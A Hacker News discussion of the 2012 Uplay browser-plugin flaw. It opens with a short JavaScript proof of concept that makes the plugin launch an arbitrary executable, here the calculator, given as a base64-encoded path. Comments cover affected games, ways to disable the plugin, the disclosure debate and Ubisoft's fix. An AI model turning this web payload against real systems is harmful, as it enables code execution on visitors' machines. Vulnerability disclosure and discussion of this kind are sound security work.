Ubisoft "Uplay" DRM exposed as rootkit
317 points| rightclick | 13 years ago | reply
http://pastehtml.com/view/c6gxl1a79.html
var x = document.createElement('OBJECT');
x.setAttribute("type", "application/x-uplaypc");
document.body.appendChild(x);
x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play")
Ubisoft installs a backdoor that allows any website to take over your computer. The Sony BMG rootkit was also DRM and required product recall when it was discovered.http://en.wikipedia.org/wiki/Ubisoft#Games
Assassin's Creed II
Assassin's Creed: Brotherhood
Assassin's Creed: Project Legacy
Assassin's Creed Revelations
Assassin's Creed III
Beowulf: The Game
Brothers in Arms: Furious 4
Call of Juarez: The Cartel
Driver: San Francisco
Heroes of Might and Magic VI
Just Dance 3
Prince of Persia: The Forgotten Sands
Pure Football
R.U.S.E.
Shaun White Skateboarding
Silent Hunter 5: Battle of the Atlantic
The Settlers 7: Paths to a Kingdom
Tom Clancy's H.A.W.X. 2
Tom Clancy's Ghost Recon: Future Soldier
Tom Clancy's Splinter Cell: Conviction
Your Shape: Fitness Evolved
[+] [-] Foy|13 years ago|reply
Next time I want to play an Ubisoft game I'm just going to pirate it.
EDIT: I buy 99% of my video games through Steam, and when the games I get through Steam want to use their own launcher (play, windows live games, or EA's Origin, for example) I always get peeved.. to find out it allows arbitrary remote code execution is absolutely infuriating.
EDIT: Oh, btw, I'm using Opera 12.
EDIT: Protect yourself (in Opera, at least) by going to Settings -> Preferences(menu option) -> Advanced(Tab) -> Downloads(left menu bar) -> Search for "uplay" and delete the associated row.
[+] [-] jiggy2011|13 years ago|reply
Then of course you have to wait for the damn thing to sign in every time you want to play the game "Connection failed, do you want to retry?"
[+] [-] cheald|13 years ago|reply
There's no shortage of good games to play, and I'm just not going to give my money to companies that abuse their customers like Ubisoft does.
Hey Ubisoft, because I hope someone there is reading this thread: When your DRM is so bad that it makes people who would otherwise buy your games want to pirate them, you have utterly, totally, and completely failed. Pass that on to your boss please.
Edit: Protect yourself in Chrome by going to about:plugins and just turning it off.
[+] [-] iy56|13 years ago|reply
[+] [-] beedogs|13 years ago|reply
Another good reason to pirate Ubisoft's games is that none of them work when Uplay is down. Uplay is down a lot more often than never.
[+] [-] eli_gottlieb|13 years ago|reply
http://xkcd.com/488/
[+] [-] pilif|13 years ago|reply
This is just inexperienced developers («it's "encrypted" using base64 - we're fine!!») that had a "great idea" (= launch games from an embedded IE control) that has, kinda, backfired.
The sad thing is that it would be trivial (I'm using the word "trivial" here are I have implemented something like this just last friday in 3 hours) to add a signature to that command line and only execute signed command lines - I mean, these Games require an internet connection anyways, so there's nothing stopping them from serving the launcher from somewhere in the web and have a private key there to do the signing.
[+] [-] Zolomon|13 years ago|reply
[1] http://en.wikipedia.org/wiki/Ring_(computer_security) [2] http://en.wikipedia.org/wiki/Rootkit
[+] [-] kinetik|13 years ago|reply
[+] [-] kevingadd|13 years ago|reply
As-is, he just seems like a raging hacker who loves attention and doesn't care if thousands of unsuspecting users get their credit card details stolen by malware authors. I must be misunderstanding something, yeah?
[+] [-] Paul_S|13 years ago|reply
[+] [-] slackito|13 years ago|reply
Also, that's probably the quickest way to get them to release a fix.
[+] [-] quadhome|13 years ago|reply
http://en.wikipedia.org/wiki/Full_disclosure
As for your "raging hacker who ...," dig, consider the idea that malware authors already knew about the vulnerability and have been using it.
[+] [-] kevingadd|13 years ago|reply
[+] [-] Natsu|13 years ago|reply
Ref: http://pc.gamespy.com/articles/122/1225585p1.html
[+] [-] killyourheros|13 years ago|reply
[+] [-] fmavituna|13 years ago|reply
[+] [-] vyrotek|13 years ago|reply
Version 2.0.4 - Monday July 30th 2012 - "Fix addressing browser plugin. Plugin now only able to open Uplay application"
[+] [-] MichaelGG|13 years ago|reply
[+] [-] simias|13 years ago|reply
Here's taviso's mail on seclists: http://seclists.org/fulldisclosure/2012/Jul/375
I hope ubisoft reacts quickly.
[+] [-] aristidb|13 years ago|reply
[+] [-] SideburnsOfDoom|13 years ago|reply
[+] [-] Symmetry|13 years ago|reply
[+] [-] kcbanner|13 years ago|reply
[+] [-] iy56|13 years ago|reply
[+] [-] unknown|13 years ago|reply
[deleted]
[+] [-] iy56|13 years ago|reply
[deleted]
[+] [-] sargun|13 years ago|reply
[+] [-] cabirum|13 years ago|reply
Battlefield 3 also installs it's plugin ("ESN Launch Mozilla Plugin") in all browsers on a pc. It's capable of running EA's Origin service, so does it present the same threat?
[+] [-] drucken|13 years ago|reply
Vindictus/Mabinogi Heroes
Dragon Nest
Maplestory
Atlantica Online
Combat Arms
[+] [-] cgbystrom|13 years ago|reply
[+] [-] atrius|13 years ago|reply
I also have titles that use online login from Ubi such as ANNO 2070 installed.
I think the list of affected titles is far smaller than listed.
How and when is this associate set? Has someone identified which application in the installer performs it? Is it a particular UPlay version?
I don't doubt they are setting this up to allow them to run games from a browser. EA does it with Origin, Valve does it with Steam, as well as numerous other applications.
I don't doubt its existence but I think people are starting a wildfire without enough facts. I can't even seem to research this because it's not on my machine.
[+] [-] jeremysalwen|13 years ago|reply
[+] [-] mikeymeows|13 years ago|reply
[+] [-] rmc|13 years ago|reply
[+] [-] Foy|13 years ago|reply
AFAIK Sony never installed backdoors, and I thought they were the worst of the DRM crowd.
[+] [-] res0nat0r|13 years ago|reply
[+] [-] slurgfest|13 years ago|reply
[+] [-] ajasmin|13 years ago|reply
Edit: Other comments suggest there's a NPAPI plugin as well so it's definitely intended for use on the web.
Also in what sense is this a rootkit? Is this purposely hidden from the list of IE addons or something?
[+] [-] bbrtyth|13 years ago|reply
[+] [-] caiusdurling|13 years ago|reply
The growl devs really really hate those applications - http://growl.info/thirdpartyinstallations.php has more info.
[+] [-] fmavituna|13 years ago|reply
It's impressive that they already updated Uplay to address this problem (not sure whether the fix is actually working or not though).
[+] [-] Executor32|13 years ago|reply
[+] [-] Aissen|13 years ago|reply
[+] [-] obtu|13 years ago|reply
[+] [-] fmavituna|13 years ago|reply
[+] [-] e_p|13 years ago|reply
There's an evident frivolous attitude towards technical quality control present here, and everyone should avoid installing games requiring uPlay for the time being.
[+] [-] ferongr|13 years ago|reply